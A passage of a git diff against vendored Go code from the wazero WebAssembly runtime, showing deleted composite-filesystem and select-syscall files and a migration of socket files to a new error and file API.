fsapi.UnimplementedFS - // string is cached for convenience. - string string - // fs is index-correlated with cleanedGuestPaths - fs []fsapi.FS - // guestPaths are the original paths supplied by the end user, cleaned as - // cleanedGuestPaths. - guestPaths []string - // cleanedGuestPaths to match in precedence order, ascending. - cleanedGuestPaths []string - // rootGuestPaths are cleanedGuestPaths that exist directly under root, such as - // "tmp". - rootGuestPaths map[string]int - // rootIndex is the index in fs that is the root filesystem - rootIndex int -} - -// String implements fmt.Stringer -func (c *CompositeFS) String() string { - return c.string -} - -func stringFS(fs []fsapi.FS, guestPaths []string) string { - var ret strings.Builder - ret.WriteString("[") - writeMount(&ret, fs[0], guestPaths[0]) - for i, f := range fs[1:] { - ret.WriteString(" ") - writeMount(&ret, f, guestPaths[i+1]) - } - ret.WriteString("]") - return ret.String() -} - -func writeMount(ret *strings.Builder, f fsapi.FS, guestPath string) { - ret.WriteString(f.String()) - ret.WriteString(":") - ret.WriteString(guestPath) - if _, ok := f.(*readFS); ok { - ret.WriteString(":ro") - } -} - -// GuestPaths returns the underlying pre-open paths in original order. -func (c *CompositeFS) GuestPaths() (guestPaths []string) { - return c.guestPaths -} - -// FS returns the underlying filesystems in original order. -func (c *CompositeFS) FS() (fs []fsapi.FS) { - fs = make([]fsapi.FS, len(c.guestPaths)) - copy(fs, c.fs) - return -} - -// OpenFile implements the same method as documented on api.FS -func (c *CompositeFS) OpenFile(path string, flag int, perm fs.FileMode) (f fsapi.File, err syscall.Errno) { - matchIndex, relativePath := c.chooseFS(path) - - f, err = c.fs[matchIndex].OpenFile(relativePath, flag, perm) - if err != 0 { - return - } - - // Ensure the root directory listing includes any prefix mounts. - if matchIndex == c.rootIndex { - switch path { - case ".", "/", "": - if len(c.rootGuestPaths) > 0 { - f = &openRootDir{path: path, c: c, f: f} - } - } - } - return -} - -// An openRootDir is a root directory open for reading, which has mounts inside -// of it. -type openRootDir struct { - fsapi.DirFile - - path string - c *CompositeFS - f fsapi.File // the directory file itself - dirents []fsapi.Dirent // the directory contents - direntsI int // the read offset, an index into the files slice -} - -// Ino implements the same method as documented on fsapi.File -func (d *openRootDir) Ino() (uint64, syscall.Errno) { - return d.f.Ino() -} - -// Stat implements the same method as documented on fsapi.File -func (d *openRootDir) Stat() (fsapi.Stat_t, syscall.Errno) { - return d.f.Stat() -} - -// Seek implements the same method as documented on fsapi.File -func (d *openRootDir) Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) { - if offset != 0 || whence != io.SeekStart { - errno = syscall.ENOSYS - return - } - d.dirents = nil - d.direntsI = 0 - return d.f.Seek(offset, whence) -} - -// Readdir implements the same method as documented on fsapi.File -func (d *openRootDir) Readdir(count int) (dirents []fsapi.Dirent, errno syscall.Errno) { - if d.dirents == nil { - if errno = d.readdir(); errno != 0 { - return - } - } - - // logic similar to go:embed - n := len(d.dirents) - d.direntsI - if n == 0 { - return - } - if count > 0 && n > count { - n = count - } - dirents = make([]fsapi.Dirent, n) - for i := range dirents { - dirents[i] = d.dirents[d.direntsI+i] - } - d.direntsI += n - return -} - -func (d *openRootDir) readdir() (errno syscall.Errno) { - // readDir reads the directory fully into d.dirents, replacing any entries that - // correspond to prefix matches or appending them to the end. - if d.dirents, errno = d.f.Readdir(-1); errno != 0 { - return - } - - remaining := make(map[string]int, len(d.c.rootGuestPaths)) - for k, v := range d.c.rootGuestPaths { - remaining[k] = v - } - - for i := range d.dirents { - e := d.dirents[i] - if fsI, ok := remaining[e.Name]; ok { - if d.dirents[i], errno = d.rootEntry(e.Name, fsI); errno != 0 { - return - } - delete(remaining, e.Name) - } - } - - var di fsapi.Dirent - for n, fsI := range remaining { - if di, errno = d.rootEntry(n, fsI); errno != 0 { - return - } - d.dirents = append(d.dirents, di) - } - return -} - -// Sync implements the same method as documented on fsapi.File -func (d *openRootDir) Sync() syscall.Errno { - return d.f.Sync() -} - -// Datasync implements the same method as documented on fsapi.File -func (d *openRootDir) Datasync() syscall.Errno { - return d.f.Datasync() -} - -// Chmod implements the same method as documented on fsapi.File -func (d *openRootDir) Chmod(fs.FileMode) syscall.Errno { - return syscall.ENOSYS -} - -// Chown implements the same method as documented on fsapi.File -func (d *openRootDir) Chown(int, int) syscall.Errno { - return syscall.ENOSYS -} - -// Utimens implements the same method as documented on fsapi.File -func (d *openRootDir) Utimens(*[2]syscall.Timespec) syscall.Errno { - return syscall.ENOSYS -} - -// Close implements fs.File -func (d *openRootDir) Close() syscall.Errno { - return d.f.Close() -} - -func (d *openRootDir) rootEntry(name string, fsI int) (fsapi.Dirent, syscall.Errno) { - if st, errno := d.c.fs[fsI].Stat("."); errno != 0 { - return fsapi.Dirent{}, errno - } else { - return fsapi.Dirent{Name: name, Ino: st.Ino, Type: st.Mode.Type()}, 0 - } -} - -// Lstat implements the same method as documented on api.FS -func (c *CompositeFS) Lstat(path string) (fsapi.Stat_t, syscall.Errno) { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Lstat(relativePath) -} - -// Stat implements the same method as documented on api.FS -func (c *CompositeFS) Stat(path string) (fsapi.Stat_t, syscall.Errno) { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Stat(relativePath) -} - -// Mkdir implements the same method as documented on api.FS -func (c *CompositeFS) Mkdir(path string, perm fs.FileMode) syscall.Errno { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Mkdir(relativePath, perm) -} - -// Chmod implements the same method as documented on api.FS -func (c *CompositeFS) Chmod(path string, perm fs.FileMode) syscall.Errno { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Chmod(relativePath, perm) -} - -// Chown implements the same method as documented on api.FS -func (c *CompositeFS) Chown(path string, uid, gid int) syscall.Errno { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Chown(relativePath, uid, gid) -} - -// Lchown implements the same method as documented on api.FS -func (c *CompositeFS) Lchown(path string, uid, gid int) syscall.Errno { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Lchown(relativePath, uid, gid) -} - -// Rename implements the same method as documented on api.FS -func (c *CompositeFS) Rename(from, to string) syscall.Errno { - fromFS, fromPath := c.chooseFS(from) - toFS, toPath := c.chooseFS(to) - if fromFS != toFS { - return syscall.ENOSYS // not yet anyway - } - return c.fs[fromFS].Rename(fromPath, toPath) -} - -// Readlink implements the same method as documented on api.FS -func (c *CompositeFS) Readlink(path string) (string, syscall.Errno) { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Readlink(relativePath) -} - -// Link implements the same method as documented on api.FS -func (c *CompositeFS) Link(oldName, newName string) syscall.Errno { - fromFS, oldNamePath := c.chooseFS(oldName) - toFS, newNamePath := c.chooseFS(newName) - if fromFS != toFS { - return syscall.ENOSYS // not yet anyway - } - return c.fs[fromFS].Link(oldNamePath, newNamePath) -} - -// Utimens implements the same method as documented on api.FS -func (c *CompositeFS) Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Utimens(relativePath, times, symlinkFollow) -} - -// Symlink implements the same method as documented on api.FS -func (c *CompositeFS) Symlink(oldName, link string) (err syscall.Errno) { - fromFS, oldNamePath := c.chooseFS(oldName) - toFS, linkPath := c.chooseFS(link) - if fromFS != toFS { - return syscall.ENOSYS // not yet anyway - } - return c.fs[fromFS].Symlink(oldNamePath, linkPath) -} - -// Truncate implements the same method as documented on api.FS -func (c *CompositeFS) Truncate(path string, size int64) syscall.Errno { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Truncate(relativePath, size) -} - -// Rmdir implements the same method as documented on api.FS -func (c *CompositeFS) Rmdir(path string) syscall.Errno { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Rmdir(relativePath) -} - -// Unlink implements the same method as documented on api.FS -func (c *CompositeFS) Unlink(path string) syscall.Errno { - matchIndex, relativePath := c.chooseFS(path) - return c.fs[matchIndex].Unlink(relativePath) -} - -// chooseFS chooses the best fs and the relative path to use for the input. -func (c *CompositeFS) chooseFS(path string) (matchIndex int, relativePath string) { - matchIndex = -1 - matchPrefixLen := 0 - pathI, pathLen := stripPrefixesAndTrailingSlash(path) - - // Last is the highest precedence, so we iterate backwards. The last longest - // match wins. e.g. the pre-open "tmp" wins vs "" regardless of order. - for i := len(c.fs) - 1; i >= 0; i-- { - prefix := c.cleanedGuestPaths[i] - if eq, match := hasPathPrefix(path, pathI, pathLen, prefix); eq { - // When the input equals the prefix, there cannot be a longer match - // later. The relative path is the fsapi.FS root, so return empty - // string. - matchIndex = i - relativePath = "" - return - } else if match { - // Check to see if this is a longer match - prefixLen := len(prefix) - if prefixLen > matchPrefixLen || matchIndex == -1 { - matchIndex = i - matchPrefixLen = prefixLen - } - } // Otherwise, keep looking for a match - } - - // Now, we know the path != prefix, but it matched an existing fs, because - // setup ensures there's always a root filesystem. - - // If this was a root path match the cleaned path is the relative one to - // pass to the underlying filesystem. - if matchPrefixLen == 0 { - // Avoid re-slicing when the input is already clean - if pathI == 0 && len(path) == pathLen { - relativePath = path - } else { - relativePath = path[pathI:pathLen] - } - return - } - - // Otherwise, it is non-root match: the relative path is past "$prefix/" - pathI += matchPrefixLen + 1 // e.g. prefix=foo, path=foo/bar -> bar - relativePath = path[pathI:pathLen] - return -} - -// hasPathPrefix compares an input path against a prefix, both cleaned by -// stripPrefixesAndTrailingSlash. This returns a pair of eq, match to allow an -// early short circuit on match. -// -// Note: This is case-sensitive because POSIX paths are compared case -// sensitively. -func hasPathPrefix(path string, pathI, pathLen int, prefix string) (eq, match bool) { - matchLen := pathLen - pathI - if prefix == "" { - return matchLen == 0, true // e.g. prefix=, path=foo - } - - prefixLen := len(prefix) - // reset pathLen temporarily to represent the length to match as opposed to - // the length of the string (that may contain leading slashes). - if matchLen == prefixLen { - if pathContainsPrefix(path, pathI, prefixLen, prefix) { - return true, true // e.g. prefix=bar, path=bar - } - return false, false - } else if matchLen < prefixLen { - return false, false // e.g. prefix=fooo, path=foo - } - - if path[pathI+prefixLen] != '/' { - return false, false // e.g. prefix=foo, path=fooo - } - - // Not equal, but maybe a match. e.g. prefix=foo, path=foo/bar - return false, pathContainsPrefix(path, pathI, prefixLen, prefix) -} - -// pathContainsPrefix is faster than strings.HasPrefix even if we didn't cache -// the index,len. See benchmarks. -func pathContainsPrefix(path string, pathI, prefixLen int, prefix string) bool { - for i := 0; i < prefixLen; i++ { - if path[pathI] != prefix[i] { - return false // e.g. prefix=bar, path=foo or foo/bar - } - pathI++ - } - return true // e.g. prefix=foo, path=foo or foo/bar -} - -func StripPrefixesAndTrailingSlash(path string) string { - pathI, pathLen := stripPrefixesAndTrailingSlash(path) - return path[pathI:pathLen] -} - -// stripPrefixesAndTrailingSlash skips any leading "./" or "/" such that the -// result index begins with another string. A result of "." coerces to the -// empty string "" because the current directory is handled by the guest. -// -// Results are the offset/len pair which is an optimization to avoid re-slicing -// overhead, as this function is called for every path operation. -// -// Note: Relative paths should be handled by the guest, as that's what knows -// what the current directory is. However, paths that escape the current -// directory e.g. "../.." have been found in `tinygo test` and this -// implementation takes care to avoid it. -func stripPrefixesAndTrailingSlash(path string) (pathI, pathLen int) { - // strip trailing slashes - pathLen = len(path) - for ; pathLen > 0 && path[pathLen-1] == '/'; pathLen-- { - } - - pathI = 0 -loop: - for pathI < pathLen { - switch path[pathI] { - case '/': - pathI++ - case '.': - nextI := pathI + 1 - if nextI < pathLen && path[nextI] == '/' { - pathI = nextI + 1 - } else if nextI == pathLen { - pathI = nextI - } else { - break loop - } - default: - break loop - } - } - return -} - -type fakeRootFS struct { - fsapi.UnimplementedFS -} - -// OpenFile implements the same method as documented on api.FS -func (fakeRootFS) OpenFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) { - switch path { - case ".", "/", "": - return fakeRootDir{}, 0 - } - return nil, syscall.ENOENT -} - -type fakeRootDir struct { - fsapi.DirFile -} - -// Ino implements the same method as documented on fsapi.File -func (fakeRootDir) Ino() (uint64, syscall.Errno) { - return 0, 0 -} - -// Stat implements the same method as documented on fsapi.File -func (fakeRootDir) Stat() (fsapi.Stat_t, syscall.Errno) { - return fsapi.Stat_t{Mode: fs.ModeDir, Nlink: 1}, 0 -} - -// Readdir implements the same method as documented on fsapi.File -func (fakeRootDir) Readdir(int) (dirents []fsapi.Dirent, errno syscall.Errno) { - return // empty -} - -// Sync implements the same method as documented on fsapi.File -func (fakeRootDir) Sync() syscall.Errno { - return 0 -} - -// Datasync implements the same method as documented on fsapi.File -func (fakeRootDir) Datasync() syscall.Errno { - return 0 -} - -// Chmod implements the same method as documented on fsapi.File -func (fakeRootDir) Chmod(fs.FileMode) syscall.Errno { - return syscall.ENOSYS -} - -// Chown implements the same method as documented on fsapi.File -func (fakeRootDir) Chown(int, int) syscall.Errno { - return syscall.ENOSYS -} - -// Utimens implements the same method as documented on fsapi.File -func (fakeRootDir) Utimens(*[2]syscall.Timespec) syscall.Errno { - return syscall.ENOSYS -} - -// Close implements the same method as documented on fsapi.File -func (fakeRootDir) Close() syscall.Errno { - return 0 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go deleted file mode 100644 index ac0861fda4..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select.go +++ /dev/null @@ -1,36 +0,0 @@ -package sysfs - -import ( - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// _select exposes the select(2) syscall. This is named as such to avoid -// colliding with they keyword select while not exporting the function. -// -// # Notes on Parameters -// -// For convenience, we expose a pointer to a time.Duration instead of a pointer to a syscall.Timeval. -// It must be a pointer because `nil` means "wait forever". -// -// However, notice that select(2) may mutate the pointed Timeval on some platforms, -// for instance if the call returns early. -// -// This implementation *will not* update the pointed time.Duration value accordingly. -// -// See also: https://github.com/golang/sys/blob/master/unix/syscall_unix_test.go#L606-L617 -// -// # Notes on the Syscall -// -// Because this is a blocking syscall, it will also block the carrier thread of the goroutine, -// preventing any means to support context cancellation directly. -// -// There are ways to obviate this issue. We outline here one idea, that is however not currently implemented. -// A common approach to support context cancellation is to add a signal file descriptor to the set, -// e.g. the read-end of a pipe or an eventfd on Linux. -// When the context is canceled, we may unblock a Select call by writing to the fd, causing it to return immediately. -// This however requires to do a bit of housekeeping to hide the "special" FD from the end-user. -func _select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - return syscall_select(n, r, w, e, timeout) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go deleted file mode 100644 index eabf4f455b..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.go +++ /dev/null @@ -1,45 +0,0 @@ -package sysfs - -import ( - "syscall" - "time" - "unsafe" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// syscall_select invokes select on Darwin, with the given timeout Duration. -// We implement our own version instead of relying on syscall.Select because the latter -// only returns the error and discards the result. -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - result, _, errno := syscall_syscall6( - libc_select_trampoline_addr, - uintptr(n), - uintptr(unsafe.Pointer(r)), - uintptr(unsafe.Pointer(w)), - uintptr(unsafe.Pointer(e)), - uintptr(unsafe.Pointer(t)), - 0) - res := int(result) - if errno == 0 { - return res, nil - } - return res, errno -} - -// libc_select_trampoline_addr is the address of the -// `libc_select_trampoline` symbol, defined in `select_darwin.s`. -// -// We use this to invoke the syscall through syscall_syscall6 imported below. -var libc_select_trampoline_addr uintptr - -// Imports the select symbol from libc as `libc_select`. -// -// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value -// or the "cgo" build flag. See /RATIONALE.md for why. -//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib" diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s deleted file mode 100644 index 16e65e8ec6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_darwin.s +++ /dev/null @@ -1,8 +0,0 @@ -// lifted from golang.org/x/sys unix -#include "textflag.h" - -TEXT libc_select_trampoline<>(SB), NOSPLIT, $0-0 - JMP libc_select(SB) - -GLOBL ·libc_select_trampoline_addr(SB), RODATA, $8 -DATA ·libc_select_trampoline_addr(SB)/8, $libc_select_trampoline<>(SB) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go deleted file mode 100644 index aae5e48f66..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_linux.go +++ /dev/null @@ -1,18 +0,0 @@ -package sysfs - -import ( - "syscall" - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// syscall_select invokes select on Unix (unless Darwin), with the given timeout Duration. -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - return syscall.Select(n, (*syscall.FdSet)(r), (*syscall.FdSet)(w), (*syscall.FdSet)(e), t) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go deleted file mode 100644 index 5244374b32..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go +++ /dev/null @@ -1,14 +0,0 @@ -//go:build !darwin && !linux && !windows - -package sysfs - -import ( - "syscall" - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - return -1, syscall.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go deleted file mode 100644 index 811c648d60..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go +++ /dev/null @@ -1,127 +0,0 @@ -package sysfs - -import ( - "context" - "syscall" - "time" - "unsafe" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// wasiFdStdin is the constant value for stdin on Wasi. -// We need this constant because on Windows os.Stdin.Fd() != 0. -const wasiFdStdin = 0 - -// pollInterval is the interval between each calls to peekNamedPipe in pollNamedPipe -const pollInterval = 100 * time.Millisecond - -var kernel32 = syscall.NewLazyDLL("kernel32.dll") - -// procPeekNamedPipe is the syscall.LazyProc in kernel32 for PeekNamedPipe -var procPeekNamedPipe = kernel32.NewProc("PeekNamedPipe") - -// syscall_select emulates the select syscall on Windows for two, well-known cases, returns syscall.ENOSYS for all others. -// If r contains fd 0, and it is a regular file, then it immediately returns 1 (data ready on stdin) -// and r will have the fd 0 bit set. -// If r contains fd 0, and it is a FILE_TYPE_CHAR, then it invokes PeekNamedPipe to check the buffer for input; -// if there is data ready, then it returns 1 and r will have fd 0 bit set. -// If n==0 it will wait for the given timeout duration, but it will return syscall.ENOSYS if timeout is nil, -// i.e. it won't block indefinitely. -// -// Note: idea taken from https://stackoverflow.com/questions/6839508/test-if-stdin-has-input-for-c-windows-and-or-linux -// PeekNamedPipe: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe -// "GetFileType can assist in determining what device type the handle refers to. A console handle presents as FILE_TYPE_CHAR." -// https://learn.microsoft.com/en-us/windows/console/console-handles -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - if n == 0 { - // Don't block indefinitely. - if timeout == nil { - return -1, syscall.ENOSYS - } - time.Sleep(*timeout) - return 0, nil - } - if r.IsSet(wasiFdStdin) { - fileType, err := syscall.GetFileType(syscall.Stdin) - if err != nil { - return 0, err - } - if fileType&syscall.FILE_TYPE_CHAR != 0 { - res, err := pollNamedPipe(context.TODO(), syscall.Stdin, timeout) - if err != nil { - return -1, err - } - if !res { - r.Zero() - return 0, nil - } - } - r.Zero() - r.Set(wasiFdStdin) - return 1, nil - } - return -1, syscall.ENOSYS -} - -// pollNamedPipe polls the given named pipe handle for the given duration. -// -// The implementation actually polls every 100 milliseconds until it reaches the given duration. -// The duration may be nil, in which case it will wait undefinely. The given ctx is -// used to allow for cancellation. Currently used only in tests. -func pollNamedPipe(ctx context.Context, pipeHandle syscall.Handle, duration *time.Duration) (bool, error) { - // Short circuit when the duration is zero. - if duration != nil && *duration == time.Duration(0) { - return peekNamedPipe(pipeHandle) - } - - // Ticker that emits at every pollInterval. - tick := time.NewTicker(pollInterval) - tichCh := tick.C - defer tick.Stop() - - // Timer that expires after the given duration. - // Initialize afterCh as nil: the select below will wait forever. - var afterCh <-chan time.Time - if duration != nil { - // If duration is not nil, instantiate the timer. - after := time.NewTimer(*duration) - defer after.Stop() - afterCh = after.C - } - - for { - select { - case <-ctx.Done(): - return false, nil - case <-afterCh: - return false, nil - case <-tichCh: - res, err := peekNamedPipe(pipeHandle) - if err != nil { - return false, err - } - if res { - return true, nil - } - } - } -} - -// peekNamedPipe partially exposes PeekNamedPipe from the Win32 API -// see https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe -func peekNamedPipe(handle syscall.Handle) (bool, error) { - var totalBytesAvail uint32 - totalBytesPtr := unsafe.Pointer(&totalBytesAvail) - _, _, err := procPeekNamedPipe.Call( - uintptr(handle), // [in] HANDLE hNamedPipe, - 0, // [out, optional] LPVOID lpBuffer, - 0, // [in] DWORD nBufferSize, - 0, // [out, optional] LPDWORD lpBytesRead - uintptr(totalBytesPtr), // [out, optional] LPDWORD lpTotalBytesAvail, - 0) // [out, optional] LPDWORD lpBytesLeftThisMessage - if err == syscall.Errno(0) { - return totalBytesAvail > 0, nil - } - return totalBytesAvail > 0, err -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go index 62bef426fb..af739a9082 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go @@ -3,10 +3,10 @@ package sysfs import ( "net" "os" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" socketapi "github.com/tetratelabs/wazero/internal/sock" + "github.com/tetratelabs/wazero/sys" ) // NewTCPListenerFile creates a socketapi.TCPSock for a given *net.TCPListener. @@ -17,20 +17,20 @@ func NewTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock { // baseSockFile implements base behavior for all TCPSock, TCPConn files, // regardless the platform. type baseSockFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile } -var _ fsapi.File = (*baseSockFile)(nil) +var _ experimentalsys.File = (*baseSockFile)(nil) // IsDir implements the same method as documented on File.IsDir -func (*baseSockFile) IsDir() (bool, syscall.Errno) { +func (*baseSockFile) IsDir() (bool, experimentalsys.Errno) { // We need to override this method because WASI-libc prestats the FD // and the default impl returns ENOSYS otherwise. return false, 0 } // Stat implements the same method as documented on File.Stat -func (f *baseSockFile) Stat() (fs fsapi.Stat_t, errno syscall.Errno) { +func (f *baseSockFile) Stat() (fs sys.Stat_t, errno experimentalsys.Errno) { // The mode is not really important, but it should be neither a regular file nor a directory. fs.Mode = os.ModeIrregular return diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go index aa3d3bb59d..3698f560e0 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go @@ -6,7 +6,8 @@ import ( "net" "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -41,28 +42,24 @@ var _ socketapi.TCPSock = (*tcpListenerFile)(nil) type tcpListenerFile struct { baseSockFile - fd uintptr - addr *net.TCPAddr + fd uintptr + addr *net.TCPAddr + nonblock bool } // Accept implements the same method as documented on socketapi.TCPSock -func (f *tcpListenerFile) Accept() (socketapi.TCPConn, syscall.Errno) { +func (f *tcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { nfd, _, err := syscall.Accept(int(f.fd)) - errno := platform.UnwrapOSError(err) + errno := sys.UnwrapOSError(err) if errno != 0 { return nil, errno } return &tcpConnFile{fd: uintptr(nfd)}, 0 } -// SetNonblock implements the same method as documented on fsapi.File -func (f *tcpListenerFile) SetNonblock(enabled bool) syscall.Errno { - return platform.UnwrapOSError(setNonblock(f.fd, enabled)) -} - -// Close implements the same method as documented on fsapi.File -func (f *tcpListenerFile) Close() syscall.Errno { - return platform.UnwrapOSError(syscall.Close(int(f.fd))) +// Close implements the same method as documented on sys.File +func (f *tcpListenerFile) Close() sys.Errno { + return sys.UnwrapOSError(syscall.Close(int(f.fd))) } // Addr is exposed for testing. @@ -70,14 +67,31 @@ func (f *tcpListenerFile) Addr() *net.TCPAddr { return f.addr } +// SetNonblock implements the same method as documented on fsapi.File +func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno { + f.nonblock = enabled + return sys.UnwrapOSError(setNonblock(f.fd, enabled)) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *tcpListenerFile) IsNonblock() bool { + return f.nonblock +} + +// Poll implements the same method as documented on fsapi.File +func (f *tcpListenerFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} + var _ socketapi.TCPConn = (*tcpConnFile)(nil) type tcpConnFile struct { baseSockFile - fd uintptr + fd uintptr + nonblock bool - // closed is true when closed was called. This ensures proper syscall.EBADF + // closed is true when closed was called. This ensures proper sys.EBADF closed bool } @@ -89,46 +103,41 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn { return &tcpConnFile{fd: f.Fd()} } -// SetNonblock implements the same method as documented on fsapi.File -func (f *tcpConnFile) SetNonblock(enabled bool) (errno syscall.Errno) { - return platform.UnwrapOSError(setNonblock(f.fd, enabled)) -} - -// Read implements the same method as documented on fsapi.File -func (f *tcpConnFile) Read(buf []byte) (n int, errno syscall.Errno) { +// Read implements the same method as documented on sys.File +func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { n, err := syscall.Read(int(f.fd), buf) if err != nil { // Defer validation overhead until we've already had an error. - errno = platform.UnwrapOSError(err) + errno = sys.UnwrapOSError(err) errno = fileError(f, f.closed, errno) } return n, errno } -// Write implements the same method as documented on fsapi.File -func (f *tcpConnFile) Write(buf []byte) (n int, errno syscall.Errno) { +// Write implements the same method as documented on sys.File +func (f *tcpConnFile) Write(buf []byte) (n int, errno sys.Errno) { n, err := syscall.Write(int(f.fd), buf) if err != nil { // Defer validation overhead until we've already had an error. - errno = platform.UnwrapOSError(err) + errno = sys.UnwrapOSError(err) errno = fileError(f, f.closed, errno) } return n, errno } // Recvfrom implements the same method as documented on socketapi.TCPConn -func (f *tcpConnFile) Recvfrom(p []byte, flags int) (n int, errno syscall.Errno) { +func (f *tcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) { if flags != MSG_PEEK { - errno = syscall.EINVAL + errno = sys.EINVAL return } n, _, recvfromErr := syscall.Recvfrom(int(f.fd), p, MSG_PEEK) - errno = platform.UnwrapOSError(recvfromErr) + errno = sys.UnwrapOSError(recvfromErr) return n, errno } -// Shutdown implements the same method as documented on fsapi.Conn -func (f *tcpConnFile) Shutdown(how int) syscall.Errno { +// Shutdown implements the same method as documented on sys.Conn +func (f *tcpConnFile) Shutdown(how int) sys.Errno { var err error switch how { case syscall.SHUT_RD, syscall.SHUT_WR: @@ -136,20 +145,36 @@ func (f *tcpConnFile) Shutdown(how int) syscall.Errno { case syscall.SHUT_RDWR: return f.close() default: - return syscall.EINVAL + return sys.EINVAL } - return platform.UnwrapOSError(err) + return sys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File -func (f *tcpConnFile) Close() syscall.Errno { +// Close implements the same method as documented on sys.File +func (f *tcpConnFile) Close() sys.Errno { return f.close() } -func (f *tcpConnFile) close() syscall.Errno { +func (f *tcpConnFile) close() sys.Errno { if f.closed { return 0 } f.closed = true - return platform.UnwrapOSError(syscall.Shutdown(int(f.fd), syscall.SHUT_RDWR)) + return sys.UnwrapOSError(syscall.Shutdown(int(f.fd), syscall.SHUT_RDWR)) +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { + f.nonblock = enabled + return sys.UnwrapOSError(setNonblock(f.fd, enabled)) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *tcpConnFile) IsNonblock() bool { + return f.nonblock +} + +// Poll implements the same method as documented on fsapi.File +func (f *tcpConnFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unsupported.go index 57e8eb10a2..76a10a8b61 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unsupported.go @@ -4,8 +4,8 @@ package sysfs import ( "net" - "syscall" + 